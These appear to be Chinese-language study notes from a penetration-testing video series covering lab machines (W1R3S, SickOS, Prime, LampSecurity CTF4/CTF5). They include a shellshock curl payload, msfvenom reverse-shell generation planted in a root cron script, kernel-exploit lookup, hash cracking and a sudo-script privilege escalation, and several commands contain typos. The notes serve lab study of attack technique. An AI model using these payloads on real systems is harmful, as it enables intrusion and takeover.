渗透思路笔记
视频有一个系列,打的靶场,主要是学思路,还有扩展工具和漏洞
W1R3S
主机发现、端口扫描
nmap
官方命令手册
Chapter 15. Nmap Reference Guide | Nmap Network Scanning
nmap脚本 NSEDoc Reference Portal: NSE Categories — Nmap Scripting Engine documentation eg:
nmap --script=vuln
本次所用命令
sudo nmap --min-rate 10000 -p- 10.10.10.19 #端口扫描
sudo nmap -sT -sV -O -p22,3128,8080 10.10.10.19
#-sT tcp扫描,-sV版本扫描,-O系统扫描,-p指定端口,可以指定上一条扫描出的开放端口
sudo nmap -sU -p22,3128,8080 10.10.10.19
#-sU udp扫描
目录爆破
Dirble--nccgroup/dirble:快速目录扫描和抓取工具 (github.com)
DirBuster--kali自带
Dirb--kali自带
feroxbuster--kali自带
漏洞查询
SearchSploit--kali自带
hash碰撞
John--kali自带
jenkins
初步获得系统权限,获取主机信息
whoami #当前用户
uname -a #系统信息
#ip信息
ip a
ifconfig
dpkg -l #Debian 软件包管理,查询安装软件
sudo -l #查看当前用户权限
cat /etc/passwd #查看各用户权限
Crontab提权
crontab提权 – 赛博网安wiki (allinsec.cn)
查看/etc/crontab下root用户的计划任务
cat /etc/crontab
或
cat /etc/cron.d
查看所执行的文件权限,若其他用户可写,则向该脚本文件中写入提权操作
SickOS
解法一:
wolfcms上传shell,通过配置文件,同密码登录,权限提升
解法二:
nikto --web扫描,扫出shellshock漏洞
sullo/nikto: Nikto web server scanner (github.com)
sudo nikto -h 10.10.19 -useproxy http://10.10.19:3128
通过3128的代理服务访问目标网站,验证shellshock漏洞
sudo curl -v --proxy http://10.10.10.19:3128 http://10.10.10.19/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"
msf生成payload反弹shell
sudo msfvenom -p cmd/unix/reverse_basj lhost=10.10.10.3 lport=443 -f raw
查看系统信息
whoami
uname -a
dpkg -l
知道系统信息为ubuntu,且安装了python,可以利用python起一个交互性更好的shell
pychon -c "import pty;pty.spawn('/bin/bash')"
查看文件connect.py,提示自动计划
cd /etc
ls -liah cron*
msf生成python反弹shell,插入connect.py,监听获得root权限shell
sudo msfvenor -p cmd/unix/reverse_python lhost=10.10.10.3 lport=444 -f raw
Prime
目录扫描
dirb
-X 指定类型,-o 将结果输出到文件内
dirb http://10.10.10.22 -X .txt,.php -o report/dirbphp.txt
模糊测试-获得正确参数,文件包含读取文件
wfuzz
-c 分色使得结果便于查看,-w 指定字典,-hc/hl/hw/hh 隐藏回显的 code/lines/words/chars
sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt -hc 404 http://website.com/secret.php?FUZZ=something
获得wordpress密码,登录wordpress后台getshell
wpscan -wordpress漏洞扫描器
一般思路是在插件zip文件上传,主题配置插入代码
提权
一:系统版本号较低,考虑内核提权
searchsloit Linux ubuntu 4.10.0-28
searchsloit Linux ubuntu 4.10.0-28 -m 45010
上传到靶机
ps: 由于linux内核原因,通常尝试在靶机上编译poc,如果无法编译可以在本机模拟靶机环境进行编译再上传
sudo php -S 0:80
内核提权比较暴力,虽然很快,但是很暴力,很容易导致系 统运行服务的中断,或者是不稳定;
导致之前的立足点失效或是管理员修复
二:openssl
「红队笔记」彻底搞懂OpenSSL解密渗透提权-超强思路版_哔哩哔哩_bilibili
ps:可以学到很多linux技巧
uname -a
当前用户存在可用root无密码执行的文件/home/saket/enc
运行发现需要密码,考虑查找备份文件来找密码
Linux find命令:在目录中查找文件(超详解) (biancheng.net)
sort排序,less分页查看文件(类似more)
find / -name '*backup*' 2>/dev/null | sort | less
Linux重定向(输入输出重定向)详解 (biancheng.net)
输入重定向中用到的符号及作用:
命令符号格式 作用 命令 < 文件 将指定文件作为命令的输入设备 命令 << 分界符 表示从标准输入设备(键盘)中读入,直到遇到分界符才停止(读入的数据不包括分界符),这里的分界符其实就是自定义的字符串 命令 < 文件 1 > 文件 2 将文件 1 作为命令的输入设备,该命令的执行结果输出到文件 2 中。 输出重定向用到的符号及作用:
命令符号格式 作用 命令 > 文件 将命令执行的标准输出结果重定向输出到指定的文件中,如果该文件已包含数据,会清空原有数据,再写入新数据。 命令 2> 文件 将命令执行的错误输出结果重定向到指定的文件中,如果该文件中已包含数据,会清空原有数据,再写入新数据。 命令 >> 文件 将命令执行的标准输出结果重定向输出到指定的文件中,如果该文件已包含数据,新数据将写入到原有内容的后面。 命令 2>> 文件 将命令执行的错误输出结果重定向到指定的文件中,如果该文件中已包含数据,新数据将写入到原有内容的后面。 命令 >> 文件 2>&1 或者 命令 &>> 文件 将标准输出或者错误输出写入到指定文件,如果该文件中已包含数据,新数据将写入到原有内容的后面。注意,第一种格式中,最后的 2>&1 是一体的,可以认为是固定写法。
输入密码获得两个文件,一个base64,一个要求将字符串转为md5
echo -n 不输出末尾的换行符,以输出正确的md5值(涉及到字节层面的操作都需要考虑换行符)
echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}' | od -A n -t x1
-A 指定
md5sum
计算检验MD5校验码,linux自带
od
用于将指定文件内容以八进制或其他格式显示,linux自带
tr
将字符进行替换压缩和删除
awk
Linux awk命令详解 (biancheng.net):
awk '匹配规则{执行命令}'
awk 命令选项以及含义
选项 | 含义 |
---|---|
-F fs | 指定以 fs 作为输入行的分隔符,awk 命令默认分隔符为空格或制表符。 |
-f file | 从脚本文件中读取 awk 脚本指令,以取代直接在命令行中输入指令。 |
-v var=val | 在执行处理过程之前,设置一个变量 var,并给其设备初始值为 val。 |
默认情况下,awk 会将如下变量分配给它在文本行中发现的数据字段:
- $0 代表整个文本行;
- $1 代表文本行中的第 1 个数据字段;
- $2 代表文本行中的第 2 个数据字段;
- $n 代表文本行中的第 n 个数据字段。
openssl
enc解密 enc_OpenSSL 中文手册
(由enc和key.txt推测为使用openssl)
echo 'xxxx' | openssl enc -d -a -CipherType -K xxx
-d:进行解密操作。
-a:当进行加解密时,它只对数据进行运算,有时需要进行base64转换。设置此选项后,加密结果进行base64编码;解密前先进行base64解码。
-K key:输入口令是16进制的。
接下来写个bash脚本跑for循环找到正确的CipherType
for Cipher in $(cat CipherType);do echo 'xxxx' | openssl enc -d -a -$Cipher -K xxx 2>/dev/null; echo $Cipher; done
遍历可知为aes-256-ecb
echo 'xxxx' | openssl enc -d -a -aes-256-ecb -K xxx
获得saket密码,登录后进行提权操作
python -c "import pty;pty.spawn('/bin/bash')"
whoami
sudo -l
sudo /home/victor/undefeated_victor
提示缺失/tmp/challenge,写一个然后提权
echo '#!/bin/bash' > /tmp/challenge
echo '/bin/bash' >> /tmp/challenge
chmod +x /temp/challenge
sudo /home/victor/undefeated_victor
whoami
LampSecurityCTF4
sudo nmap --min-rate 10000 -p- 10.10.10.19 #端口扫描
sudo nmap -sT -sV -O -p22,3128,8080 10.10.10.19
#-sT tcp扫描,-sV版本扫描,-O系统扫描,-p指定端口,可以指定上一条扫描出的开放端口
sudo nmap -sU -p22,3128,8080 10.10.10.19
#-sU udp扫描
开放了80,访问发现可尝试sql注入,sqlmap自动注入
注出账号密码,根据之前开放的端口信息22尝试ssh
sudo /bin/bash
启动一个root权限的shell即可
(总结:工具不是重点,只是提高效率的辅助,漏洞原理和思路才是最重要的;并且一些工具存在特征码,很容易被拦截)
LampSecurityCTF5
Vulnhub靶机实操笔记-LampSecurity-CTF5-腾讯云开发者社区-腾讯云 (tencent.cn)
前期扫描
sudo nmap --min-rate 10000 -p- 10.10.10.23 -oA report/minrate ip
sudo nmap -sT -sV -O -p22,25,80,110,111,139,143,445,901,3306,54777 ip
#-sT tcp扫描,-sV版本扫描,-O系统扫描,-p指定端口,可以指定上一条扫描出的开放端口
#-sU udp扫描
sudo nmap --script=vuln -p22,25,80,110,111,139,143,445,901,3306,54777 ip
web渗透
依然从web网页入手,访问80端口,暴露系统为nanocms
查看是否存在相关漏洞
searchsploit nanocms
google搜索nanocms exploit发现存在信息泄露漏洞
'/data/pagesdata.txt' 密码哈希信息泄露漏洞
访问获得admin的密码哈希值,hashcat破解为shannon
sudo hashcat -m 0 -a 0 哈希值 字典路径
可以添加页面,写一个反弹shell
提权
利用敏感文件提权
grep命令快速搜索查找敏感文件
grep -R -i pass /home/* 2>/dev/null
获得关键信息Root password 50$cent,然后再起一个shell,输入密码即可
python -c "import pty;pty.spawn('/bin/sh')"
su -